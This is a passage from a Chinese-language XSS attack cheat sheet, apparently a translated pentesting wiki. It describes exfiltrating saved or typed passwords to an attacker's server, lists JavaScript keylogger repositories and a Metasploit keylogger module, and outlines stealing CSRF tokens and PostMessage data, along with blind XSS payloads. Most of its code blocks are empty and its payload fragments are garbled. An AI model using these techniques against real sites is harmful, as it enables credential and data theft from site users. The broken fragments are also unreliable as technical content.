``` 当在密码字段中输入任何数据时,用户名和密码将被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何内容,凭据也将被外泄。 ### 键盘记录器 仅在 GitHub 上搜索,我找到了一些不同的: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * 您还可以使用 metasploit `http_javascript_keylogger` ### 窃取 CSRF 令牌 ```javascript ``` ### 窃取 PostMessage 消息 - 在目标网站上注入恶意脚本,以便窃取通过 PostMessage 传递的敏感信息。 - 使用恶意脚本监听 `message` 事件,并将接收到的消息发送到攻击者控制的服务器。 ```markup ``` ### 滥用 Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### 访问 Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### 盲 XSS 负载 您也可以使用:[https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">